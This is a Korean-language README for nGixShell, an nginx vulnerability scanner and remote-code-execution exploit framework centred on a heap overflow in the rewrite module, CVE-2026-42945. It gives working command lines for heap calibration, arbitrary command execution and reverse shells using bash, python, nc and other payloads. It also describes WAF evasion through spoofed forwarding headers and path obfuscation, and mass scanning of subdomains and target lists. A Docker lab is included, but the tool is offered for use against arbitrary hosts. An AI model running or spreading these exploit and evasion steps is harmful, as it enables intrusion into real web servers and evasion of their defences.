
nginx CVE 스캐너 + RCE 익스플로잇 프레임워크 (CVE-2026-42945 + 기타 16개)
nGixShell은 nginx CVE 스캐너이자 RCE 익스플로잇 프레임워크입니다. CVE-2026-42945(F5/NVD 기준 CVSS 3.1 8.1 HIGH) — ngx_http_rewrite_module의 힙 버퍼 오버플로 — 에 대한 개념 증명(PoC)과 함께, 자동화된 HTTP 프로브, 핑거프린팅, WAF 탐지/우회, 웹 보안 감사, 보고서 생성을 지원하는 64개의 nginx CVE를 커버하는 스캐너를 제공합니다.
외부 의존성 없음. 순수 Python 3 표준 라이브러리만 사용합니다.
익스플로잇 전제 조건 (먼저 읽어보세요).
--cmd/--shell은 다음 조건이 모두 충족될 때만 동작합니다: 대상이 x86_64이고, 취약한rewrite+set설정이 존재하며, ASLR이 비활성화되어 있고, 힙/libc 주소가 해당 빌드에 맞게 보정되어 있어야 합니다(calibrate.py→--build-file). 자세한 내용은 익스플로잇 요구사항을 참조하세요. 스캐너 자체에는 이러한 요구사항이 없습니다.
# Spin up the vulnerable lab (builds nginx from source, ASLR disabled)
docker compose -f env/docker-compose.yml up -d --build
# Auto mode — fingerprint + CVE scan + web audit (works on any arch)
python3 ngixshell.py 127.0.0.1:19321
# RCE — calibrate, restart the worker for a clean heap, then exploit
W=$(pgrep -f 'nginx: worker' | head -1)
sudo python3 calibrate.py 127.0.0.1 19321 "$W" --spray-path /spray \
--spray-mode full --json -o profile.json
docker compose -f env/docker-compose.yml restart nginx-vuln
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id > /tmp/rce.txt' \
--build-file profile.json
docker compose -f env/docker-compose.yml exec nginx-vuln cat /tmp/rce.txt
# Drop a reverse shell (IP auto-detected)
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell --build-file profile.json
# Detect and bypass WAF, then scan
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass
# Subdomain scan
python3 ngixshell.py --subdomain-scan example.com --scan-port 443
# Multiple targets from a file (one report per target)
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html
플래그는 필요하지 않습니다 — 도구를 대상에 지정하면 모든 것이 자동으로 실행됩니다.
TLS는 자동 감지됩니다. server_tokens off 상태에서도 nginx가 핑거프린팅됩니다.
system()은 stdout을 캡처하지 않습니다:--cmd 'id'는 실행되지만 아무것도 출력하지 않습니다. 관찰 가능한 부작용이 있는 명령을 사용하고--verify-url http://target/pwned로 확인하세요(HTTP 200 = 확인됨).
python3 ngixshell.py [TARGET] [OPTIONS]
TARGET formats:
127.0.0.1
192.168.1.10:8080
http://192.168.1.10:8080
https://target.local
| 플래그 | 설명 |
|---|---|
| (없음) | 자동 — 핑거프린트 + CVE 스캔 + 웹 감사 |
--cmd 'CMD' | CVE-2026-42945 RCE를 통한 명령 실행 |
--cmd-file FILE | 파일에서 명령 실행 (;로 연결) |
--shell | 리버스 셸 실행 |
--shell-type TYPE | 페이로드: bash python perl php nc powershell (기본값: python) |
--upgrade-shell | 셸 연결 후 PTY 업그레이드 자동 전송 |
--verify-url URL | 크래시 감지 후 URL을 가져와 명령 실행 확인 (200 = 확인됨) |
--subdomain-scan DOMAIN | 서브도메인에서 취약한 nginx 탐색 |
--cve CVE-ID | 특정 CVE 하나만 테스트 |
--list-cves | CVSS 및 프로브 정보와 함께 64개 CVE 모두 출력 |
--list-candidates | 힙 주소 후보 출력 |
--dry-run | 핑거프린트 + 스캔만 수행, 익스플로잇 없음 |
--target-file FILE | 파일에서 여러 호스트 스캔 |
| 플래그 | 설명 |
|---|---|
--build-file FILE | 권장. calibrate.py --json -o FILE로 생성한 JSON 보정 프로필 |
--offsets SPEC | calibrate.py에서 얻은 쉼표로 구분된 16진수 힙 오프셋 (예: 0x5a427,0x60e67) |
--heap-base HEX / --libc-base HEX / --system-addr HEX | 수동 주소 재정의 |
--build KEY | 내장 프로필 (DepthFirst 랩 참조만 제공됨) |
--rewrite-path PATH | 취약한 rewrite 위치 (기본값 /api) |
--spray-path PATH | POST 본문 스프레이에 사용되는 proxy_pass 기반 위치 (기본값 /upload; 번들 랩은 /spray 사용) |
--spray-mode partial|full | partial: 짧은 본문 + 큰 Content-Length (번들 랩); full: 완전한 본문 + X-Delay (DepthFirst 랩) |
--pad-a N / --pad-plus N | + 실행 전 트리거 경로 패딩 (기본값 349 / 969, 벤더 PoC 기준) |
--continue-on-crash | 확인되지 않은 크래시 후 나머지 힙 후보 계속 시도 |
--tries N / --spray N / --body-len N | 후보당 트리거 시도 횟수 / 스프레이 연결 수 / 스프레이 본문 크기 |
| 플래그 | 설명 |
|---|---|
--waf-detect | 스캔 전 WAF 탐지 |
--waf-bypass | 모든 우회 기법 활성화 (탐지도 함께 실행) |
--waf-ip IP | 우회 헤더에 이 IP를 스푸핑 (기본값: 임의 RFC1918) |
우회 기법 (--waf-bypass 설정 시 모두 활성화):
| 기법 | 세부 사항 |
|---|---|
| IP 스푸핑 | X-Forwarded-For, X-Real-IP, X-Originating-IP, True-Client-IP, X-Remote-IP, X-Client-IP |
| UA 로테이션 | 11개의 실제 브라우저/봇 User-Agent, 요청마다 무작위화 |
| 경로 난독화 | 이중 슬래시, /./ 패딩, 퍼센트 인코딩, 대소문자 변형 |
| 헤더 대소문자 셔플 | WAF 패턴 매칭을 깨기 위해 헤더 이름 대소문자 무작위화 |
탐지되는 WAF: Cloudflare, AWS WAF, Akamai, Imperva/Incapsula, ModSecurity, F5 BIG-IP ASM, Sucuri, Barracuda, NAXSI, Fastly, Wordfence
스캔 모드에서 자동으로 실행됩니다. 모든 모듈은 개별적으로 건너뛸 수 있습니다.
| 플래그 | 설명 |
|---|---|
--skip-headers | HTTP 보안 헤더 감사 건너뛰기 |
--skip-paths | 경로/파일 탐색 건너뛰기 |
--skip-vhosts | 가상 호스트 열거 건너뛰기 |
--skip-tls | TLS 프로토콜 감사 건너뛰기 |
--path-wordlist FILE | 추가로 프로브할 경로 (한 줄에 하나) |
/nginx_status가 노출된 경우 활성 연결 메트릭 파싱| 플래그 | 설명 |
|---|---|
--port PORT | 포트 재정의 |
--tls | TLS 강제 (기본적으로 자동 감지) |
--proxy URL | 프록시: http://, https://, socks5:// |
| 플래그 | 설명 |
|---|---|
--user-agent UA | 사용자 정의 User-Agent |
--auth USER:PASS | HTTP Basic 인증 |
--cookie VALUE | Cookie 헤더 |
--header NAME:VALUE | 추가 헤더 (반복 가능) |
| 플래그 | 설명 |
|---|---|
--rate-limit RPS | 초당 최대 요청 수 |
--jitter MS | 요청 간 0–MS ms 무작위 지연 |
--retry N | 불확실한 프로브 재시도 (기본값: 1) |
--timeout-multiplier X | 모든 타임아웃 조정 (기본값: 1.0) |
| 플래그 | 설명 |
|---|---|
--output FILE | FILE에 로그 기록 |
--json | 종료 시 JSON 요약 출력 (다중 대상: {"targets": [...]}) |
--html-report [FILE] | HTML 보고서 생성 (다중 대상 모드에서는 대상당 하나의 파일) |
--verbose | 디버그 출력 |
종료 코드: 0 — 발견 사항 없음 / 익스플로잇 확인됨; 1 — 발견 사항 존재,
크래시 없음, 또는 실행 오류. CI 게이팅용입니다. --verify-url 없는 --cmd는
감지된 워커 크래시 시 0을 반환하는데, 이는 오버플로가 풀 정리 포인터에
도달했음만 증명할 뿐 코드가 실행되었음을 증명하지는 않습니다.
2009–2026년에 걸친 64개 항목. 점수는 작성 시점의 NVD/F5 권고에서 가져온 CVSS v3.1 기본 메트릭을 반영합니다(트리아지에 의존하기 전에 확인하세요). 범위는 https://nginx.org/en/security_advisories.html를 따릅니다.